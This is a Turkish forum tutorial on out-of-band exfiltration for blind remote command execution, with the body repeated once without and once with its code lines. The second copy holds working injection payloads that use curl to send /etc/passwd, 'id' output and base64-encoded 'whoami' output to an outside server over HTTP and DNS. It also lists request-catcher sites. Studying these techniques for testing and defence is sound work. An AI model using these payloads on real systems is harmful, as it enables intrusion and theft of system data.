=> OOB (Out of Band) nedir ?
=> RCE ve OOB ilişkisi ?
1) OOB nedir ?
“Blind” olarak adlandırdığımız zafiyetlere bu ismin verilmesinin sebebi, bize herhangi bir çıktı üretmemeleridir. Yani zafiyet mevcut olmasına rağmen bunun varlığını hedef sitemiz üzerinde göremiyoruz veyahut dolaylı yollardan anlayabiliyoruz (Content-Length, StatusCode değişiklikleri vs). Böyle olduğu durumlarda çıkış noktalarımızdan birisi OOB (Out of Band) olabilmekte. Yani blind zafiyetlerde bir çıktı üretilemediği için çıktıyı bizim sunucumuza yönlendirip rahat bir şekilde çıktı alabiliyoruz ve bu işlemede “Out of Band” deniliyor. Out of Band işlemini DNS, HTTP, Samba, FTP vs. üzerinden gerçekleştirebiliriz. Bu yazı içerisinde HTTP ve DNS kullanılacaktır.
2) RCE ve OOB ilişkisi ?
Remote Command Execution zafiyeti blind olduğu durumlarda farklı yöntemler deneyebiliriz bunlardan bir taneside Out of Band kullanmaktır. Bu işlemi farklı şekillerde gerçekleştirebilirsiniz.
/etc/passwd dosyasının içeriğini çekmek amacıyla şu şekilde bir istek gönderilebilir ;
Benzer şekilde “id” komutunun çıktısı elde etmek için şöyle bir yol izleyebiliriz ;
Sunucunuz üzerinde bir php dosyası oluşturup komutların çıktısını bu dosya üzerinden yazdırabilirsiniz.
Şeklindeki yazdir.php dosyasını sunucunuza yükleyerek Blind Command Execution zafiyeti olan parametre üzerinde şöyle bir istek gönderebilirsiniz ;
Şöyle bir istek göndererek “whoami” komutunun çıktısını base64 ile encode ederek subdomain isteğinde bulunabiliriz ;
Benzer amaçlarla üretilmiş siteler bulunmaktadır, bu siteler üzerinden de yukarda anlattığım yöntemler ile DNS veyahut HTTP istekleri üzerinden işlemler gerçekleştirebilirsiniz. Bazı örnek siteleri şöyle bırakayım ;
3) Demo Uygulama
https://player.vimeo.com/video/286655035
Dipnot : Yukarıda değinmiştim, tekrar hatırlatayım. Bu işlemler sadece DNS veya HTTP üzerinden değil başka şekillerde de yapılabilir fakat konu uzamaması adına en çok kullanılan temel 2 yöntemi göstermeyi tercih ettim. Bu konularda sorunlarınız olursa belirtirseniz “Out of Band” için ayrıyeten detaylı bir konu açabiliriz.
Dipnot 2 : Yazı boyunca “curl” ile örnekler gösterdim fakat bunun üzerinde değişiklikler yapabilirsiniz. Alternatif olarak “wget” , “host” ," ping", “dig” , “whois” benzeri komutlar kullanılabilir.
Jonturk75 @ JRBops
=> RCE ve OOB ilişkisi ?
- HTTP/HTTPS ile Out of Band
- DNS ile Out of Band
1) OOB nedir ?
“Blind” olarak adlandırdığımız zafiyetlere bu ismin verilmesinin sebebi, bize herhangi bir çıktı üretmemeleridir. Yani zafiyet mevcut olmasına rağmen bunun varlığını hedef sitemiz üzerinde göremiyoruz veyahut dolaylı yollardan anlayabiliyoruz (Content-Length, StatusCode değişiklikleri vs). Böyle olduğu durumlarda çıkış noktalarımızdan birisi OOB (Out of Band) olabilmekte. Yani blind zafiyetlerde bir çıktı üretilemediği için çıktıyı bizim sunucumuza yönlendirip rahat bir şekilde çıktı alabiliyoruz ve bu işlemede “Out of Band” deniliyor. Out of Band işlemini DNS, HTTP, Samba, FTP vs. üzerinden gerçekleştirebiliriz. Bu yazı içerisinde HTTP ve DNS kullanılacaktır.
2) RCE ve OOB ilişkisi ?
Remote Command Execution zafiyeti blind olduğu durumlarda farklı yöntemler deneyebiliriz bunlardan bir taneside Out of Band kullanmaktır. Bu işlemi farklı şekillerde gerçekleştirebilirsiniz.
- HTTP / HTTPS
/etc/passwd dosyasının içeriğini çekmek amacıyla şu şekilde bir istek gönderilebilir ;
vvHack.org/blindrce.php?parametre=$(cat /etc/passwd | curl -F ":data=@-" benimsitem.com:4444)
Benzer şekilde “id” komutunun çıktısı elde etmek için şöyle bir yol izleyebiliriz ;
vvHack.org/blindrce.php?parametre=$(curl benimsitem.com/$(id))
Sunucunuz üzerinde bir php dosyası oluşturup komutların çıktısını bu dosya üzerinden yazdırabilirsiniz.
Şeklindeki yazdir.php dosyasını sunucunuza yükleyerek Blind Command Execution zafiyeti olan parametre üzerinde şöyle bir istek gönderebilirsiniz ;
Bu istek sonucunda “jonturk.txt” dosyası içerisine “id” komutunun çıktısı yazdırılacaktır.vvHack.org/blindrce.php?parametre=$(curl benimsitem.com/yazdir.php?command=$(id))
- DNS
Şöyle bir istek göndererek “whoami” komutunun çıktısını base64 ile encode ederek subdomain isteğinde bulunabiliriz ;
vvHack.org/blindrce.php?parametre=$(a=$(echo $(whoami) | base64) ; curl $a.benimsitem)
Benzer amaçlarla üretilmiş siteler bulunmaktadır, bu siteler üzerinden de yukarda anlattığım yöntemler ile DNS veyahut HTTP istekleri üzerinden işlemler gerçekleştirebilirsiniz. Bazı örnek siteleri şöyle bırakayım ;
- http://mockbin.org/
- https://hookbin.com/
- https://beeceptor.com/
- http://requestbin.net/
- https://requestbin.com/
3) Demo Uygulama
https://player.vimeo.com/video/286655035
Dipnot : Yukarıda değinmiştim, tekrar hatırlatayım. Bu işlemler sadece DNS veya HTTP üzerinden değil başka şekillerde de yapılabilir fakat konu uzamaması adına en çok kullanılan temel 2 yöntemi göstermeyi tercih ettim. Bu konularda sorunlarınız olursa belirtirseniz “Out of Band” için ayrıyeten detaylı bir konu açabiliriz.
Dipnot 2 : Yazı boyunca “curl” ile örnekler gösterdim fakat bunun üzerinde değişiklikler yapabilirsiniz. Alternatif olarak “wget” , “host” ," ping", “dig” , “whois” benzeri komutlar kullanılabilir.
Jonturk75 @ JRBops
Moderatör tarafında düzenlendi: